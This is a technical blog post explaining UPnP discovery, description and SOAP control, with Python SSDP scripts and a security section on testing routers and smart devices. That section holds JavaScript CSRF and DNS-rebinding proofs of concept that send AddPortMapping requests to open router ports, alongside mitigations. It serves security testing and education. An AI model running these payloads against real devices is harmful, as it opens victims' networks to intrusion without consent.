/dev/posts/

Introduction to UPnP

Published:

Updated:

This post gives simple explanations of how UPnP (Universal Plug-and-Play) works, especially with the goal of testing the security devices such as routers, smart TVs, etc.

The goal is to explain:

  1. how to find which devices expose UPnP services on your local network;
  2. how to find which services are exposed by these devices;
  3. how to check whether these services are vulnerable to browser-based attacks.

We focus here on Cross Site Request Forgery (CSRF) and DNS rebinding attacks but UPnP can be used for other interesting vulnerabilities.

Table of content

Overview of UPnP

The UPnP architecture is a set of protocols used for exposing “plug-ang-play” services on the LAN: you plug a device (typically a router, a smart TV or another smart device) on the network and it exposes some features which are immediately usable to any device on the LAN without the need of any configuration or provisioning. The features exposed this way do not requires any form of authentication which makes them an interesting target for attacks. A lot of these services are vulnerable to CSRF and/or DNS rebinding attacks.

The UPnP protocol is made of four parts:

  1. Discovery (finding which devices and services are available), using SSDP;
  2. Description (finding which actions and state variables are exposed by the UPnP devices), using XML files received over HTTP;
  3. Control (calling UPnP actions), using SOAP/1.1 over HTTP/1.1;
  4. Eventing (listening to state change notifications), based on GENA (General Event Notification Architecture) for UPnP 1.0 with the addition of multicast event notification in UPnP 1.1+

The stack is summarized as:

              [Device/service desc.]  [SOAP/1.1]  [UPnP event] [UPnP event]
              [XML                 ]  [XML     ]  [XML       ] [XML       ]
[HTTP+SSDP ]  [HTTP                ]  [HTTP    ]  [HTTP+GENA ] [HTTP+GENA ]
[UDP       ]  [TCP                 ]  [TCP     ]  [TCP       ] [UDP       ]
[IP (mcast)]  [IP                  ]  [IP      ]  [IP        ] [IP (mcast)]
Service       Service                 Control     Eventing     Eventing
Discovery     Description             (RPC)       (unicast)    (multicast)

Note: UPnP eventing is not covered in this post.

Discovery

Service discovery is done using SSDP (Simple Service Discovery Protocol). SSDP use HTTP-like messages sent over UDP (one message per datagram).

Announces

SSDP services are announced periodically using the NOTIFY method. It is sent on UDP port 1900 to multicast address 239.255.255.250. We can listen to these using a script such as:

import socket
from signal import alarm
import sys
import ipaddress
import struct
import sys

interface_address = sys.argv[1]

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, 1)
# Not available in Python: sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_ALL, 0)
sock.bind(("0.0.0.0", 1900))

mreq = struct.pack("4s4s", socket.inet_aton("239.255.255.250"), socket.inet_aton(interface_address))
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

while True:
      response = sock.recv(4096)
      sys.stdout.write(response.decode("UTF-8"))
      sys.stdout.flush()

Usage:

python ./ssdp_discover.py 192.168.1.42

where 192.168.1.42 is the IP address of the local machine on the network interface we want to listen to.

Example of output (one message per UDP datagram):

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: upnp:rootdevice
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:2
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2

Important headers:

Searches

In order to elicit SSDP announces, we can use a M-SEARCH message:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all
USER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0

This can be done with a script such as:

import socket
from signal import alarm
import sys

interface_address = sys.argv[1] if len(sys.argv) >= 2 else "0.0.0.0"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(interface_address))

message = b"""M-SEARCH * HTTP/1.1\r
HOST: 239.255.255.250:1900\r
MAN: "ssdp:discover"\r
MX: 5\r
ST: ssdp:all\r
USER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0\r
\r
"""

sock.sendto(message, ("239.255.255.250", 1900))
alarm(15)
while True:
        response = sock.recv(4096)
        sys.stdout.write(response.decode("UTF-8"))
        sys.stdout.flush()

Usage:

python ./ssdp_search.py 192.168.1.42

Example of response (one message per UDP datagram):

HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: upnp:rootdevice
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:2
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2

The important HTTP request header is ST (Search Target) which can be either:

Description

The description is made of two part:

  1. Device Description, gives informations about the device and which service are available;
  2. Service description, describe the different services (which actions they provide).

Device Description

The HTTP resources indicated in the LOCATION header provides a description of the device and its services[1]:

<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <device>
    <pnpx:X_hardwareId xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">VEN_0129&amp;DEV_0000&amp;SUBSYS_03&amp;REV_250407</pnpx:X_hardwareId>
    <pnpx:X_compatibleId xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">GenericUmPass</pnpx:X_compatibleId>
    <pnpx:X_deviceCategory xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">NetworkInfrastructure.Gateway</pnpx:X_deviceCategory>
    <df:X_deviceCategory xmlns:df="http://schemas.microsoft.com/windows/2008/09/devicefoundation">Network.Gateway</df:X_deviceCategory>
    <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:2</deviceType>
    <friendlyName>Orange Livebox</friendlyName>
    <manufacturer>Sagemcom</manufacturer>
    <manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
    <modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
    <UDN>uuid:e30681fd-9888-4c54-81f2-fc2f536561c1</UDN>
    <modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
    <modelNumber>3</modelNumber>
    <serialNumber>XXXXXXXXXXXX</serialNumber>
    <presentationURL>http://192.168.1.1</presentationURL>
    <UPC></UPC>
    <iconList>
      <icon>
        <mimetype>image/png</mimetype>
        <width>16</width>
        <height>16</height>
        <depth>8</depth>
        <url>/e30681fd/ligd.png</url>
      </icon>
    </iconList>
    <deviceList>
      <device>
        <deviceType>urn:schemas-upnp-org:device:WANDevice:2</deviceType>
        <friendlyName>Orange Livebox</friendlyName>
        <manufacturer>Sagemcom</manufacturer>
        <manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
        <modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
        <modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
        <modelNumber>3</modelNumber>
        <modelURL>http://www.sagemcom.com/</modelURL>
        <serialNumber>XXXXXXXXXXXX</serialNumber>
        <presentationURL>http://192.168.1.1</presentationURL>
        <UDN>uuid:276a23d7-a371-4fb2-a2c0-b6ba7ac0f0f7</UDN>
        <UPC></UPC>
        <serviceList>
          <service>
            <serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType>
            <serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>
            <controlURL>/e30681fd/upnp/control/WANCommonIFC1</controlURL>
            <eventSubURL>/e30681fd/upnp/control/WANCommonIFC1</eventSubURL>
            <SCPDURL>/e30681fd/gateicfgSCPD.xml</SCPDURL>
          </service>
        </serviceList>
        <deviceList>
          <device>
            <deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:2</deviceType>
            <friendlyName>Orange Livebox</friendlyName>
            <manufacturer>Sagemcom</manufacturer>
            <manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
            <modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
            <modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
            <modelNumber>3</modelNumber>
            <modelURL>http://www.sagemcom.com/</modelURL>
            <serialNumber>XXXXXXXXXXXX</serialNumber>
            <presentationURL>http://192.168.1.1</presentationURL>
            <UDN>uuid:fcc2812a-f1b8-444d-b48b-b179e162d33f</UDN>
            <UPC></UPC>
            <serviceList>
              <service>
                <serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
                <serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
                <controlURL>/e30681fd/upnp/control/WANIPConn1</controlURL>
                <eventSubURL>/e30681fd/upnp/control/WANIPConn1</eventSubURL>
                <SCPDURL>/e30681fd/gateconnSCPD_IP.xml</SCPDURL>
              </service>
             <service>
                <serviceType>urn:schemas-upnp-org:service:WANIPv6FirewallControl:1</serviceType>
                <serviceId>urn:upnp-org:serviceId:WANIPv6FwCtrl1</serviceId>
                <controlURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</controlURL>
                <eventSubURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</eventSubURL>
                <SCPDURL>/e30681fd/wanipv6fwctrlSCPD.xml</SCPDURL>
              </service>
            </serviceList>
          </device>
        </deviceList>
      </device>
    </deviceList>
  </device>
</root>

For each service, we have:

Service Scription

Each service is described by a XML document, the SCPD. This document is located by the SCPDURL element and looks like:

<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
    <specVersion>
        <major>1</major>
        <minor>0</minor>
    </specVersion>
    <actionList>
        <!-- ... -->
        <action>
            <name>AddPortMapping</name>
            <argumentList>
                <argument>
                    <name>NewRemoteHost</name>
                    <direction>in</direction>
                    <relatedStateVariable>RemoteHost</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewExternalPort</name>
                    <direction>in</direction>
                    <relatedStateVariable>ExternalPort</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewProtocol</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingProtocol</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewInternalPort</name>
                    <direction>in</direction>
                    <relatedStateVariable>InternalPort</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewInternalClient</name>
                    <direction>in</direction>
                    <relatedStateVariable>InternalClient</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewEnabled</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingEnabled</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewPortMappingDescription</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingDescription</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewLeaseDuration</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>
                </argument>
            </argumentList>
        </action>
        <!-- ... -->
    </actionList>
    <serviceStateTable>
        <!-- ... -->
    </serviceStateTable>
</scpd>

Each available action on the service is defined by:

The serviceStateTable element contains the set of state variables which are susceptible to be monitored using UPnP eventing.

Control

Calling a UPnP action is done using SOAP/1.1[2] over HTTP POST using the URI indicated in the controlURL element:

POST /e30681fd/upnp/control/WANIPConn1 HTTP/1.1
Host: 192.168.1.1:60000
Content-Type: text/xml; charset=utf-8
Content-Lenght: ...
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:2#AddPortMapping
<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
            xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:2">
      <NewRemoteHost></NewRemoteHost>
      <NewExternalPort>9999</NewExternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewInternalPort>9999</NewInternalPort>
      <NewInternalClient>192.168.1.16</NewInternalClient>
      <NewEnabled>1</NewEnabled>
      <NewPortMappingDescription>Test</NewPortMappingDescription>
      <NewLeaseDuration>240</NewLeaseDuration>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>

Notes:

The response is a SOAP response following the same pattern:

HTTP/1.1 200 OK
CONTENT-LENGTH: ...
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Sat, 18 Jul 2020 10:49:38 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, SoftAtHome

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
            s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:AddPortMappingResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:2">
    </u:AddPortMappingResponse>
  </s:Body>
</s:Envelope>

Eventing

Eventing, allows for a client to get notifications when the values of the states variables change. The list of state variables is declared in the serviceStateTable element of the SCPD. Eventing on UPnP 1.0 is based on General Event Notification Architecture (GENA) and use the SUBSCRIBE, UNSUBSCRIBE and NOTIFY methods. This is not covered in this post.

Security Considerations

CSRF

If the service does not validate the Content-Type and the SOAPAction headers of the UPnP request, the service might be vulnerable to CSRF attacks.

We can check this type of attacks from another origin with a script such as:

fetch("/control/wan_ip_connection", {
  mode: "no-cors",
  method: "POST",
  headers: {
    "Content-Type": "text/plain",
  },
  body: `<?xml version="1.0″ encoding="utf-8″?>
  <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
      <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
        <NewRemoteHost></NewRemoteHost>
        <NewExternalPort>9999</NewExternalPort>
        <NewProtocol>TCP</NewProtocol>
        <NewInternalPort>9999</NewInternalPort>
        <NewInternalClient>192.168.0.12</NewInternalClient>
        <NewEnabled>1</NewEnabled>
        <NewPortMappingDescription>Test</NewPortMappingDescription>
        <NewLeaseDuration>240</NewLeaseDuration>
      </u:AddPortMapping>
    </s:Body>
  </s:Envelope>`
});

In CSRF attacks, the attacker cannot get the response. If all the UPnP actions are readonly (do not have any side-effect), the vulnerability may not have any impact in practice.

The service can prevent this type of attacks either:

  1. by properly validating the Content-Type header of the UPnP request;
  2. by properly validating the (required) SOAPAction header of the UPnP request;
  3. by using unpredictable[4] control (and event subscription) URIs.

The latter approach can be seen in the previous examples taken from the OrangeBox.

DNS rebinding

If the service does not validate the Host header, the service might be vulnerable to DNS rebinding attacks.

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    const response = await fetch("/control/wan_ip_connection", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"',
      },
      body: `<?xml version="1.0″ encoding="utf-8″?>
      <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
        <s:Body>
          <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
            <NewRemoteHost></NewRemoteHost>
            <NewExternalPort>9999</NewExternalPort>
            <NewProtocol>TCP</NewProtocol>
            <NewInternalPort>9999</NewInternalPort>
            <NewInternalClient>192.168.0.12</NewInternalClient>
            <NewEnabled>1</NewEnabled>
            <NewPortMappingDescription>Test</NewPortMappingDescription>
            <NewLeaseDuration>240</NewLeaseDuration>
          </u:AddPortMapping>
        </s:Body>
      </s:Envelope>`
    });
    if (response.status == 200) {
      alert("DONE!")
      return;
    }
    await sleep(1000);
  }
}
main()

In contrast to CSRF attacks:

  1. the attacker can read the UPnP response;
  2. the attacker can set the Content-Type and SOAPAction headers;
  3. the attacker can read the device description and SCPDs (if their URIs are predictable).

The service can prevent this type of attacks either:

  1. by validating the Host header (it should only accept IP addresses);
  2. by validating the Origin header (but this only works with modern browsers which means the Host header should be validated anyway);
  3. by making the service description URI, of the SCPD URIs and the control URIs unpredictable[4:1].

References

Normative references:

Other documentations:

Other vulnerability classes:

Some vulnerabilities:


  1. The UUIDs and URI prefixes have been changed for security reasons 😊. ↩︎

  2. Not SOAP 1.2. ↩︎

  3. Not application/json which is now the standard Content-Type for XML content. Not application/soap+xml which is used for SOAP 1.2. ↩︎

  4. I am not certain that using unpredictable URIs as a sole mitigation is a great idea. If an attacker gets access to your LAN once, he can get the unpredictable URIs. Unless these unpredictable URIs change frequently, the attacker can then conduct targeted CSRF and DNS rebinding attacks while outside of your network. Moreover, people tend to paste these URIs on technical forums (for example by pasting device description files). ↩︎ ↩︎